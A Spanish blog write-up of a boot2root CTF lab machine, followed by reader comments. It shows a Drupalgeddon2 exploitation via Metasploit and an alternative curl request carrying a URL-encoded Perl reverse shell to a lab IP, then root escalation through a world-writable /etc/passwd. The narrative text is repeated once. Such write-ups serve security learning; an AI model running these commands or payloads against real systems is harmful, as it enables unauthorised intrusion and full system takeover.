Despedimos la semana con el writeup del último reto, el 25, que nos regaló _Stuxnet y que ganó Borja Martínez (borjmz) por primera (y única) sangre. Se trataba de una máquina boot2root y, como veréis a continuación, era sencilla pero muy divertida:
Empezamos con el típico escaneo de todos los puertos de la máquina:
Los resultados muestran un puerto 80 abierto, así que vamos a ver de que aplicación web se trata:
http://192.168.1.229/
Vale, claramente es un Drupal así que vamos a ver rápidamente de qué versión se trata con Droopescan:
¡Perfecto! Se trata de la versión 7.51 o 7.52, así que probablemente sea vulnerable al RCE de Drupalggedon2. Vamos a comprobarlo con Metasploit:
¡Bingo! tenemos shell. Vamos a "spawnearla" y a ver si encontramos el fichero user.txt para leer la primera flag:
Fácil y sencillo, para toda la familia xD
Otra opción y la que utilizó Borja es usar el exploit de HansTopo - https://github.com/dreadlocked/Drupalgeddon2, con el que la shell reversa se obtendría de la siguiente manera:
Una vez con la shell interactiva el siguiente paso será escalar privilegios y, para ello, veremos enseguida que el fichero /etc/passwd tiene permisos de escritura:
Para escalar aquí tenemos también varias formas. La que usó Borja fue generar una contraseña para el usuario root: perl -le 'print crypt("nomasimagenessinstego", "aa")', obtener el hash y copiarlo en el campo correspondiente, y luego hacer su y convertirse en root.
Y otra opción sería asignarle una shell al usuario www-data con el que estamos loggeados, hacer 'su' con dicho usuario, ejecutar passwd y luego copiar el mismo hash generado para root:
Y nada más, dar la enhorabuena a Borja (te debo la camiseta y el welcome pack) y agradecer como siempre a César por compartir sus retos y todos aquellos que lo habéis intentado.
¡Nos "vemos" en el siguiente!
Empezamos con el típico escaneo de todos los puertos de la máquina:
# nmap -sS -A -p- 192.168.1.229
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-18 11:44 CEST
Nmap scan report for 192.168.1.229
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5p1 Ubuntu 10ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c1:12:f0:96:bc:af:f0:71:87:8a:af:ee:82:a8:1d:4b (RSA)
| 256 97:0d:aa:e7:4b:75:d8:3a:d7:65:3a:c9:d8:93:51:48 (ECDSA)
|_ 256 7f:0c:66:c0:b4:56:5e:88:57:14:a1:5b:46:51:c8:bc (EdDSA)
80/tcp open http Apache httpd 2.4.27 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Owasp CTF
5355/tcp open llmnr?
MAC Address: 08:00:27:1C:CF:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 192.168.1.229
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6135.37 seconds
Los resultados muestran un puerto 80 abierto, así que vamos a ver de que aplicación web se trata:
http://192.168.1.229/
Vale, claramente es un Drupal así que vamos a ver rápidamente de qué versión se trata con Droopescan:
# ./droopescan scan drupal -u http://192.168.1.229/
[+] No themes found.
[+] Possible interesting urls found:
Default changelog file - http://192.168.1.229/CHANGELOG.txt
[+] Possible version(s):
7.51
7.52
[+] No plugins found.
[+] Scan finished (0:00:04.452500 elapsed)
¡Perfecto! Se trata de la versión 7.51 o 7.52, así que probablemente sea vulnerable al RCE de Drupalggedon2. Vamos a comprobarlo con Metasploit:
msf5 > search drupal
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Drupal OpenID External Entity Injection
auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Drupal Views Module Users Enumeration
exploit/multi/http/drupal_drupageddon 2014-10-15 excellent Drupal HTTP Parameter Key/Value SQL Injection
exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Drupal CODER Module Remote Command Execution
exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Drupal Drupalgeddon 2 Forms API Property Injection
exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Drupal RESTWS Module Remote PHP Code Execution
exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent PHP XML-RPC Arbitrary Code Execution
> use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no If output should be dumped
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.229
rhost => 192.168.1.229
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Drupal 7.x targeted at http://192.168.1.229/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.1.229
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.229:56868) at 2018-05-18 12:03:21 +0200
meterpreter > getuid
Server username: www-data (33)
¡Bingo! tenemos shell. Vamos a "spawnearla" y a ver si encontramos el fichero user.txt para leer la primera flag:
meterpreter > shell
Process 1431 created.
Channel 0 created.
python3 -c 'import pty; pty.spawn("/bin/sh")'
$ find / -name user.txt -print
....
find: '/run/sudo': Permission denied
find: '/run/postgresql/9.6-main.pg_stat_tmp': Permission denied
find: '/run/lvm': Permission denied
find: '/run/systemd/inaccessible': Permission denied
find: '/run/lock/lvm': Permission denied
/home/hackmen00b/user.txt
find: '/home/hackmen00b/.cache': Permission denied
find: '/etc/polkit-1/localauthority': Permission denied
find: '/etc/ssl/private': Permission denied
$ cat /home/hackmen00b/user.txt
cat /home/hackmen00b/user.txt
8D2A059E6B154EC9215882B82F28CFCB
Fácil y sencillo, para toda la familia xD
Otra opción y la que utilizó Borja es usar el exploit de HansTopo - https://github.com/dreadlocked/Drupalgeddon2, con el que la shell reversa se obtendría de la siguiente manera:
curl 'http://192.168.X.190/sites/default/s.php' -d 'c=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.X.243%22%3B%24p%3D1337%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27%20%3A'
Una vez con la shell interactiva el siguiente paso será escalar privilegios y, para ello, veremos enseguida que el fichero /etc/passwd tiene permisos de escritura:
$ ls -las /etc/passwd
ls -las /etc/passwd
4 -rwxrwxrwx 1 root root 1759 May 8 15:28 /etc/passwd
$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
_apt:x:106:65534::/nonexistent:/bin/false
mysql:x:107:110:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:108:65534::/var/lib/lxd/:/bin/false
uuidd:x:109:114::/run/uuidd:/bin/false
postgres:x:110:115:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq:x:111:65534:dnsmasq,,,:/var/lib/misc:/bin/false
pollinate:x:112:1::/var/cache/pollinate:/bin/false
hackmen00b:x:1000:1000:hackmen00b,,,:/home/hackmen00b:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
$
Para escalar aquí tenemos también varias formas. La que usó Borja fue generar una contraseña para el usuario root: perl -le 'print crypt("nomasimagenessinstego", "aa")', obtener el hash y copiarlo en el campo correspondiente, y luego hacer su y convertirse en root.
Y otra opción sería asignarle una shell al usuario www-data con el que estamos loggeados, hacer 'su' con dicho usuario, ejecutar passwd y luego copiar el mismo hash generado para root:
www-data@hackmen00b:~/html/drupal$ cat /etc/passwd
cat /etc/passwd
root:$6$reKe6zEF$PZ19z7x4uaSCTHqKy8Oma04cvciJV32VcG2PLAQ4N8jVgmteXYAGUZNVsgZhn7L9NT8mWj9g9R.MJA5wk31sF.:0:0:root:/root:/bin/bash
www-data::33:0:www-data:/var/www:/bin/bash
www-data@hackmen00b:~/html/drupal$ su
su
Password: test12345
root@hackmen00b:/var/www/html/drupal# id
id
uid=0(root) gid=0(root) groups=0(root)
root@hackmen00b:/var/www/html/drupal#
root@hackmen00b:/var/www/html/drupal# cat /root/root.txt
cat /root/root.txt
0C9350CD1516EB0A516D604EAC7177FC
Y nada más, dar la enhorabuena a Borja (te debo la camiseta y el welcome pack) y agradecer como siempre a César por compartir sus retos y todos aquellos que lo habéis intentado.
¡Nos "vemos" en el siguiente!
Soy tonto del culo! Anda que no le di vueltas al /etc/passwd!
ResponderEliminarCreé un usuario Nuevo con uid y gid a 0 y claro, se me metió en la cabeza que como no podia escribir en shadow tenía que haber otro truco. Busqué tareas de cron, busqué servicios a la escucha en 127.0.0.1, crackeé la contraseña del admin de Drupal por si se reutilizaba... Y mira cómo era!
Soy tonto. Gran reto!
Tonto es el que no lo intenta. Lo importante es ir aprendiendo de estás cosillas. Muchas gracias!
Eliminarvaya, que tonto por no haber pensado en eso.
ResponderEliminaraun asi me gusto el reto, genial! muchas gracias.
Gran write up. Yo tiré del exploit usando curl y socat para una TTY interactiva
ResponderEliminarExcelente de verdad
ResponderEliminarHola, me podrias indicar que se debe hacer cuando dices esto
ResponderEliminarcopiarlo en el campo correspondiente, y luego hacer su y convertirse en root.